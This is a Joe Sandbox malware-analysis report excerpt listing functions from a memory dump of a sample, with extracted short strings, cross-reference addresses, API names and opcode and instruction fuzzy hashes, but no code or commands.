Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: FreeLibrary
String ID: w$#v
API String ID: 3664257935-1753275396
Opcode ID: c9066039513997db2445060aa8e9b38c66cbaa24a3688fc86eb51563c399794b
Instruction ID: e5cd652fddbadd988d243e243d0aadc4afe38972491594b784693925ed4a9d7c
Opcode Fuzzy Hash: c9066039513997db2445060aa8e9b38c66cbaa24a3688fc86eb51563c399794b
Instruction Fuzzy Hash: 68914A71B4C3918BE3218F28D8917ABBBD29FE2314F284A2DE4D9473C2D6399405C757

Function 00409080 Relevance: 5.4, Strings: 4, Instructions: 422COMMON

Download Yara Rule

Strings

w, xrefs: 00409244
jrTW, xrefs: 00409445
[z, xrefs: 004091E7
v}, xrefs: 004090E0

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: [z$jrTW$v}$w
API String ID: 0-2493215026
Opcode ID: 12180ba4b0b725743f2b7951f9e97ea8ae81b2807934d80b04abb838223cd7e8
Instruction ID: 8656eb5187c6e4d52eb22cb8708b5f05e84ad9d0006bacdacbacfb1dfeb224e1
Opcode Fuzzy Hash: 12180ba4b0b725743f2b7951f9e97ea8ae81b2807934d80b04abb838223cd7e8
Instruction Fuzzy Hash: 7EB1F97150C3908BD319CB2984A03ABBFE29FD7304F58896DE4D65B3C6D6398D09CB96

Function 004094D0 Relevance: 5.4, Strings: 4, Instructions: 387COMMON

Download Yara Rule

Strings

$:'+, xrefs: 0040955F
~$A&, xrefs: 004097B8
CD, xrefs: 004097F8
782397A2CDD031F1C683EA0F4CB0333A, xrefs: 00409579

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: $:'+$782397A2CDD031F1C683EA0F4CB0333A$CD$~$A&
API String ID: 0-3205615796
Opcode ID: d8f07f3b46f879c8fcc9d59f84a537cc67c9997dbc93c5a9b72b0331e43290b5
Instruction ID: 19e5cc09c4bccfc8c1e2bd8a47edc933c242acc168ce1e9223e8ccf287daec48
Opcode Fuzzy Hash: d8f07f3b46f879c8fcc9d59f84a537cc67c9997dbc93c5a9b72b0331e43290b5
Instruction Fuzzy Hash: 59B114B1A083408BD714CF35C84166BBBE2EFD2318F18892DE5D58B392D739C50ACB5A

Function 00426D93 Relevance: 4.4, Strings: 3, Instructions: 694COMMON

Download Yara Rule

Strings

"rB, xrefs: 0042721C
RnB, xrefs: 00426E4C, 00427294, 004272CE
tB, xrefs: 00427470

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: "rB$RnB$tB
API String ID: 0-4216038165
Opcode ID: 194f4e7ea056f9dbf4dc3172a98edd4d498bfef096048f559264ef87dfea744a
Instruction ID: 5db433618846bbee7fbdea8b7d170a8d74a15166589cd4b7a37e776e253fe78c
Opcode Fuzzy Hash: 194f4e7ea056f9dbf4dc3172a98edd4d498bfef096048f559264ef87dfea744a
Instruction Fuzzy Hash: 7E325776A08391CFD310CF28E89072B77E2AFC6324F59866DE4955B3A1D7399C04CB96

Function 0041FC50 Relevance: 4.2, Strings: 3, Instructions: 419COMMON

Download Yara Rule

Strings

+xz, xrefs: 0041FE17
|~, xrefs: 0041FD97
|~+xz, xrefs: 00420005, 00420016

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: +xz$|~$|~+xz
API String ID: 0-1674398901
Opcode ID: 01274263c0ecce3d35a03d44141a69670113512c221da472d3dda66ce547e122
Instruction ID: b710419fa9807c675cdca11690d141e1ac49870e402d67e11a2f4585279bbe7e
Opcode Fuzzy Hash: 01274263c0ecce3d35a03d44141a69670113512c221da472d3dda66ce547e122
Instruction Fuzzy Hash: 24C110715083108BD320CF18C8527ABB7F1FF92350F098A6DE5C69B3A5E7799845CB96

Function 0042B738 Relevance: 4.0, Strings: 3, Instructions: 222COMMON

Download Yara Rule

Strings

pxh~, xrefs: 0042B7A0
), xrefs: 0042B743
fG, xrefs: 0042B8D1

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: )$fG$pxh~
API String ID: 0-1348051669
Opcode ID: 10079d67cbf96ecc1c28fdbb896d63402551c9f6f8342cccce1b53eb98156813
Instruction ID: a25b475c766a38413ac254536a50495f94ce246e951d1433cb160c56cba00a1d
Opcode Fuzzy Hash: 10079d67cbf96ecc1c28fdbb896d63402551c9f6f8342cccce1b53eb98156813
Instruction Fuzzy Hash: D861C17060C3D18BD7258F3594A17EBBBE1EF92304F28486DC0DD8B282DB79510A8B56

Function 004214C0 Relevance: 3.0, Strings: 2, Instructions: 511COMMON

Download Yara Rule

Strings

U{, xrefs: 004218A9
JK, xrefs: 004214EA

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID: JK$U{
API String ID: 2994545307-2804647760
Opcode ID: 30a7fb4acf67063eed21c48f58556268d6ae000eb71d3ff63a0b7279d3089a44
Instruction ID: a14205f3f9ddc08b031849de81a62b0b169a4fcc75bf251c8f0ed7efbd537042
Opcode Fuzzy Hash: 30a7fb4acf67063eed21c48f58556268d6ae000eb71d3ff63a0b7279d3089a44
Instruction Fuzzy Hash: DCD16872B083209BD720DF24DC9266BB3E1EFE1314F59853DE8C597391E6389D05879A

Function 00437BA9 Relevance: 2.9, Strings: 2, Instructions: 435COMMON

Download Yara Rule

Strings

_P, xrefs: 00437E7D
., xrefs: 00437CEE

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: .$_P
API String ID: 0-145094978
Opcode ID: f01ac957da31c575a7f29d01c351f92228aa7eac6a35bb5ae4b66a4ba069a67e
Instruction ID: 99d01bb25ab6619c8d93c1b9e320f109d83fc958490068c02a03de64d3271c89
Opcode Fuzzy Hash: f01ac957da31c575a7f29d01c351f92228aa7eac6a35bb5ae4b66a4ba069a67e
Instruction Fuzzy Hash: 55D1F37A218316CBCB288F38EC9126B73E2FF4B351F4A987DD581872A0F37989548755

Function 00425287 Relevance: 2.9, Strings: 2, Instructions: 375COMMON

Download Yara Rule

Strings

Y[, xrefs: 00425505
KM, xrefs: 0042536B

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: KM$Y[
API String ID: 0-3358059348
Opcode ID: 576da5b0a6bb03a314e181509f7a5074a1ff0df0cd005910a60b000e5116add0
Instruction ID: 1ea4a5005bf6dce27b4f4a81d99fe56a43f8250439d3046256d0923e83aace4e
Opcode Fuzzy Hash: 576da5b0a6bb03a314e181509f7a5074a1ff0df0cd005910a60b000e5116add0
Instruction Fuzzy Hash: 0DD1D1B9A00204DFDB14CF58E8C1BAE7BB1FF5A314F6440A9E945AB366D7349812CF58

Function 0042B6E1 Relevance: 2.7, Strings: 2, Instructions: 220COMMON

Download Yara Rule

Strings

pxh~, xrefs: 0042B7A0
fG, xrefs: 0042B8D1

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: fG$pxh~
API String ID: 0-2018652497
Opcode ID: dbd081f94b0594dfe365d34bc537e2cf5afcedd78e177b6caac3b9844118e796
Instruction ID: 3956c6f1c4573dbc7244af6f1c67d7fc06972784f67e9f7b14ac6d9a0432d960
Opcode Fuzzy Hash: dbd081f94b0594dfe365d34bc537e2cf5afcedd78e177b6caac3b9844118e796
Instruction Fuzzy Hash: 2A61D17460C3D18BD3258F3594A17ABBBE1EF92304F68485DD0DD8B782DB7854068B5A

Function 004222B1 Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

Y%RV, xrefs: 0042234A
U%RV, xrefs: 004222F7

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: U%RV$Y%RV
API String ID: 0-3078678817
Opcode ID: 44c287b6a765d45ad14f4e35a36b47b38028d1a77870fc68b35162d1e83e6687
Instruction ID: 9be65e438420ebf15d9cec439849eff6f83a0ef22775a7fcda93cdc09bca5dfb
Opcode Fuzzy Hash: 44c287b6a765d45ad14f4e35a36b47b38028d1a77870fc68b35162d1e83e6687
Instruction Fuzzy Hash: B2212736F40121ABCF2DCA689D5067F32A2BB89314B69C53EC556E7398D6BC4C128758

Function 0041655D Relevance: 2.0, Strings: 1, Instructions: 762COMMON

Download Yara Rule

Strings

ukwh, xrefs: 00416A7A

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID: ukwh
API String ID: 2994545307-439397672
Opcode ID: f805110f98b9d8d851302580950993c06ff1bc4161faed8018008cc96d8f365d
Instruction ID: 1c12de679d38134fe518265e9a98c8f0b1fb9366fd14f9cc503cd88489a69803
Opcode Fuzzy Hash: f805110f98b9d8d851302580950993c06ff1bc4161faed8018008cc96d8f365d
Instruction Fuzzy Hash: C61203367087409BD725CF28CC907ABB7A2EBD6354F2A892DD5D5873A1D634CC81CB89

Function 0043A030 Relevance: 1.9, Strings: 1, Instructions: 656COMMON

Download Yara Rule

Strings

f, xrefs: 0043A22F

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: 7dd8048da2752b463430b5e789f6db5ed6f61dbbdd9a91fdd994969e8323d22a
Instruction ID: 51ff89207c3efd24be4c2d822e4595371369acb3077355d3c8dd438c2b5c7de3
Opcode Fuzzy Hash: 7dd8048da2752b463430b5e789f6db5ed6f61dbbdd9a91fdd994969e8323d22a
Instruction Fuzzy Hash: 202219366483518FC724CF28C88061BB7E2BBD9314F298A2EE8E5973D1D774DD158B86

Function 0042A270 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0042A558

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: fb8ee4b108fe66e09d9a0fa8ce5c2bfb26b6f958e8b5f88b637ea2e6adb885a1
Instruction ID: f2e468da186f8178a6ac94a7e5d921651a2fbc2ec7c595dc77dc1c7e65b19277
Opcode Fuzzy Hash: fb8ee4b108fe66e09d9a0fa8ce5c2bfb26b6f958e8b5f88b637ea2e6adb885a1
Instruction Fuzzy Hash: 66C12472B083205BD724CE24E45076BB7D5AF84314F59892FEC958B382E778DC58879B

Function 00416E70 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

JpA, xrefs: 00417043

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: JpA
API String ID: 0-2896746996
Opcode ID: de15c6573bb26958078b58711e2181df24c25dd44ebc3f12e8158586849ad628
Instruction ID: 628aecb251d7578d8ceda7dbd1d199ed104b48374d7dfcb6dcb7d586fc436c33
Opcode Fuzzy Hash: de15c6573bb26958078b58711e2181df24c25dd44ebc3f12e8158586849ad628
Instruction Fuzzy Hash: FB51F336508360CFC7258F28D8507ABB3F0FF85318F06893DE869AB291D7349945D796

Function 00422966 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

a,B, xrefs: 00422AFE

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: a,B
API String ID: 0-397882135
Opcode ID: c6c77c2a37431797a5b889b6ddf9573d9a60da64bfb438ecc2f112608d10dcd5
Instruction ID: 4c72702e9e110b51a533508b542ca48b91bf2946ed88cd9773777f0f27739761
Opcode Fuzzy Hash: c6c77c2a37431797a5b889b6ddf9573d9a60da64bfb438ecc2f112608d10dcd5
Instruction Fuzzy Hash: D34124B4911B109FD730EFAA8580026BBF0FF666147509A0DD4DA6FB29D3B6E4428F85

Function 0041ADE9 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

wabd, xrefs: 0041AE87

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: wabd
API String ID: 0-2209172042
Opcode ID: b256969568f27e7eccf79a6964726f95faab8ec0fbc375f13d21247278f7caff
Instruction ID: 6b17803e26d04ea86ae77970b07e285e4559b2ba8837a05b176f59465b4230cc
Opcode Fuzzy Hash: b256969568f27e7eccf79a6964726f95faab8ec0fbc375f13d21247278f7caff
Instruction Fuzzy Hash: 5D31347250D3904BC3158F3898502ABBBA2AFD3724F18DB6DE5D19B2D2D6358903879B

Function 0043D8E0 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

SRQP, xrefs: 0043D905

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID: SRQP
API String ID: 2994545307-1594865775
Opcode ID: f6ef90930f04d19bed13613990256df59941f110705579771faf026c3645adf4
Instruction ID: 981fe634089efbbf062a6f174215e8c444f39d081bbaeda0c7f7d96a1115eeb0
Opcode Fuzzy Hash: f6ef90930f04d19bed13613990256df59941f110705579771faf026c3645adf4
Instruction Fuzzy Hash: 9A31D775B04300AFE7118B24EC41B7BB7E5EFCA714F246A2DE6C867291C274AC618749

Function 00427223 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

RnB, xrefs: 00427294

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: RnB
API String ID: 0-4090840409
Opcode ID: 710232c9e352de35f9838718908f9bb31f3ac335a89b904feeda198a8f57df39
Instruction ID: 269c3bef7bed09dbc050cf92707b29f30e3b1e657cc235363ee96ee043105d36
Opcode Fuzzy Hash: 710232c9e352de35f9838718908f9bb31f3ac335a89b904feeda198a8f57df39
Instruction Fuzzy Hash: E2F0627570CA20CBD724CB11E65152FB7E1ABDA714F6556ADE88533701C238EC068BAE

Function 00407550 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a42a59939d58b0a73be27afc638faaf152d1ca92e020dc2fc49d1790f1e8db
Instruction ID: 8faa173e7650551b3a6104ad273a14f8098c02f5c1787825874974823077173b
Opcode Fuzzy Hash: 27a42a59939d58b0a73be27afc638faaf152d1ca92e020dc2fc49d1790f1e8db
Instruction Fuzzy Hash: 0322C231A0C7118BD725DF18D8806ABB3E1BFC4319F19893ED986A7385D738B8518B87

Function 004059D0 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b5b1b4a0beb7ebf6dfb77f3cabc98dd4db86f1918218b48f5c7098652c55da
Instruction ID: f92b5faa9d35bdea7f2291d8feb278b953cf00abd575da7c9a8ee3ebf1a23bbf
Opcode Fuzzy Hash: f0b5b1b4a0beb7ebf6dfb77f3cabc98dd4db86f1918218b48f5c7098652c55da
Instruction Fuzzy Hash: E2F1CD356087418FC724CF29C88062BFBE6EFD9300F08882EE5D597391E679E945CB96

Function 00437420 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b6358e092ecac39d1c472929cdd3e628cfc42c93c10eb60bd09af837cce2e4
Instruction ID: b91f3b7690443c95d2fb76b5951ba5c87ac490bd86f439cacb063572b9ad44f0
Opcode Fuzzy Hash: c3b6358e092ecac39d1c472929cdd3e628cfc42c93c10eb60bd09af837cce2e4
Instruction Fuzzy Hash: 9EB17BB260C7145FD734DF24888162BB7A1DBCA724F24A92ED5C963341D738EC01CB99

Function 00439BF0 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f2ccb2bea4bf6c19290799c298238d7b837800e04c28cdc1f7d3dc0702add3b
Instruction ID: 23394277ef8040c1e30f15f8cd2efc30ccd225322cc90d418196611391988ba8
Opcode Fuzzy Hash: 9f2ccb2bea4bf6c19290799c298238d7b837800e04c28cdc1f7d3dc0702add3b
Instruction Fuzzy Hash: 1051F732B047105BC728DE3DDC9226BB7D2EBD9324F18662EE8A5973D1D6789C01C789

Function 0040DDFA Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cafc9f8797b9e3e12007b6d2e2947618089e407aea4270bb9443aa5da376b6ab
Instruction ID: 9c7bb751a5460e5448bafc5a0c951509cef51987ee113d2cab9384d166c6b09f
Opcode Fuzzy Hash: cafc9f8797b9e3e12007b6d2e2947618089e407aea4270bb9443aa5da376b6ab
Instruction Fuzzy Hash: 8B5144B16117029BE3288F25C892716BBB2FF65308F24919CD1451FB96DBBB9417CF84

Function 0043C2EE Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43e13a5539f33f704f62bd30e0be2a5e9f99412b61026709753b2c5eb50e438
Instruction ID: 9dcd6aa5102db1afdbfa91f0de00c48066483fc8e768c13c23b2474ef312a5b2
Opcode Fuzzy Hash: d43e13a5539f33f704f62bd30e0be2a5e9f99412b61026709753b2c5eb50e438
Instruction Fuzzy Hash: EC213225B985914BC708CF3888A10BBFBD69BCF214F18E63E9452D7291CA28DD068788

Function 0041AB1A Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572ceb69780f3392d41ca6c9e0603aef9c8fe904a06e13014da24633e2e49a2c
Instruction ID: 6a3541d2acb157ad4db1e9287bc40791a76c7a8463dbebd15c4b31474a67dff4
Opcode Fuzzy Hash: 572ceb69780f3392d41ca6c9e0603aef9c8fe904a06e13014da24633e2e49a2c
Instruction Fuzzy Hash: 7F11253050C3D08BDB228B2498603F7BFF0EF63324F14099EE2D19B282C3299552872B

Function 004277A1 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b4378fe9218695e9efab3cd03d4f9a3a61e28202572d20128c641435f14578e1
Instruction ID: 3786650eb146f7874297543a17454be3989082a0a873671d11c82bb5fd205540
Opcode Fuzzy Hash: b4378fe9218695e9efab3cd03d4f9a3a61e28202572d20128c641435f14578e1
Instruction Fuzzy Hash: 6811067970C520EBDB2A5B24E855A3F73A2FB95315FB0582ED54212211D335AC02CB9D

Function 00429CD0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f69d2cddd8d1d41eb811920ce7bb414a30f77a1915c573363424695d72b567
Instruction ID: 2b7a75b310cf6e7c27b2cdf23322de32184d6ddae8fecbe38c3d0d7a708c7bc0
Opcode Fuzzy Hash: e3f69d2cddd8d1d41eb811920ce7bb414a30f77a1915c573363424695d72b567
Instruction Fuzzy Hash: 3401B1F270071157D720AE16F5C0B27B2A86F80708F58443EE84857342DBBDEC09E6A9

Function 0042C199 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08d5f25956ec8e40c121eba7491b1c8ecd5884205fc160bc28c8dc4df6ad3e7b
Instruction ID: b072f2133b5b56dbc7795633f907e47fd0f6eaee5254b13e76233338d31dc155
Opcode Fuzzy Hash: 08d5f25956ec8e40c121eba7491b1c8ecd5884205fc160bc28c8dc4df6ad3e7b
Instruction Fuzzy Hash: 1FF0E51810C6E18EDB458F3894E13327FA19B03308F6CA49EC4C28B343C5268408CF68

Function 00425E20 Relevance: 31.7, APIs: 1, Strings: 17, Instructions: 244COMMON

Download Yara Rule

Strings

S1]3, xrefs: 004267A0
IF, xrefs: 00426897
K%H', xrefs: 00426782
N)C+, xrefs: 0042678A
n+), xrefs: 00426718
LE, xrefs: 004268A2
DE, xrefs: 004267D7
Z5P7, xrefs: 004267AB
K-r/, xrefs: 00426795
$A$C, xrefs: 004267CC
7\/^, xrefs: 004266E0
Q9];, xrefs: 004267B6
^G, xrefs: 0042688F
|!A#, xrefs: 00426826
"L!N, xrefs: 00426631
KLM, xrefs: 004265C2
2@, xrefs: 0042663C

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: "L!N$$A$C$2@$7\/^$DE$IF$K%H'$K-r/$LE$N)C+$Q9];$S1]3$Z5P7$^G$n+)$|!A#$KLM
API String ID: 0-1086502116
Opcode ID: 41c6464524ea21cedc8cdaad1baebf8af02fdaf39373aa5bb2e0ae742d3a71b2
Instruction ID: b5e3e3002248b422e105bd253f303610e53f33e8b3b095550b94881be720018d
Opcode Fuzzy Hash: 41c6464524ea21cedc8cdaad1baebf8af02fdaf39373aa5bb2e0ae742d3a71b2
Instruction Fuzzy Hash: 2181CCB86083908BD3309F25E85279BBBF0FF92704F15492DE5C99B352D7798941CB8A

Function 00430528 Relevance: 28.2, APIs: 1, Strings: 15, Instructions: 161memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 004305A6

Strings

,, xrefs: 0043063F
w, xrefs: 004306CF
(, xrefs: 0043061F
_, xrefs: 00430536
t, xrefs: 004306AF
h, xrefs: 004306BF
v, xrefs: 004306DF
, xrefs: 0043062F
z, xrefs: 0043072F
0, xrefs: 0043084C
/, xrefs: 004305BF
;, xrefs: 004305CF
6, xrefs: 0043068F
[, xrefs: 00430540
@, xrefs: 0043054A

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: AllocString
String ID: $($,$/$0$6$;$@$[$_$h$t$v$w$z
API String ID: 2525500382-1320459350
Opcode ID: 74759230622c1fafdad58b18693dc4f0910fa6fc7d58cf1eee3d6dee53592b83
Instruction ID: e1250cad9f459cde51c8b94f344e925a183d72e4e1eb9be8baf593ca54fff1fc
Opcode Fuzzy Hash: 74759230622c1fafdad58b18693dc4f0910fa6fc7d58cf1eee3d6dee53592b83
Instruction Fuzzy Hash: 4191052150C7D18EE332C73C884879BBED15BA7228F084B9EE4ED5B2D2D7B945058767

Function 004300B9 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 95COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043010D

Strings

K, xrefs: 0043012D
c, xrefs: 004301A5
q, xrefs: 0043014B
u, xrefs: 0043015F
{, xrefs: 0043017D
w, xrefs: 00430169
O, xrefs: 00430141
}, xrefs: 00430187
a, xrefs: 0043019B
b, xrefs: 004301A0
s, xrefs: 00430155
M, xrefs: 00430137
y, xrefs: 00430173

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitVariant
String ID: K$M$O$a$b$c$q$s$u$w$y${$}
API String ID: 1927566239-3974332
Opcode ID: 62173869f4b5f8ae6c41ea67a547a3728c53432e46bd58f5cc30ebd635a810a2
Instruction ID: 0880ca406e64cd27820feb041266c4c3ad1d07fce193fd926a63749628f74132
Opcode Fuzzy Hash: 62173869f4b5f8ae6c41ea67a547a3728c53432e46bd58f5cc30ebd635a810a2
Instruction Fuzzy Hash: 3F41377050C7C18ED325CB78845879FBFE1ABA6314F084A9DE4D94B3D2D6B98509C763

Function 004303DF Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004303E9
VariantInit.OLEAUT32 ref: 004303FC

Strings

m, xrefs: 0043042B
&, xrefs: 0043045D
p, xrefs: 00430435

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: Variant$ClearInit
String ID: &$m$p
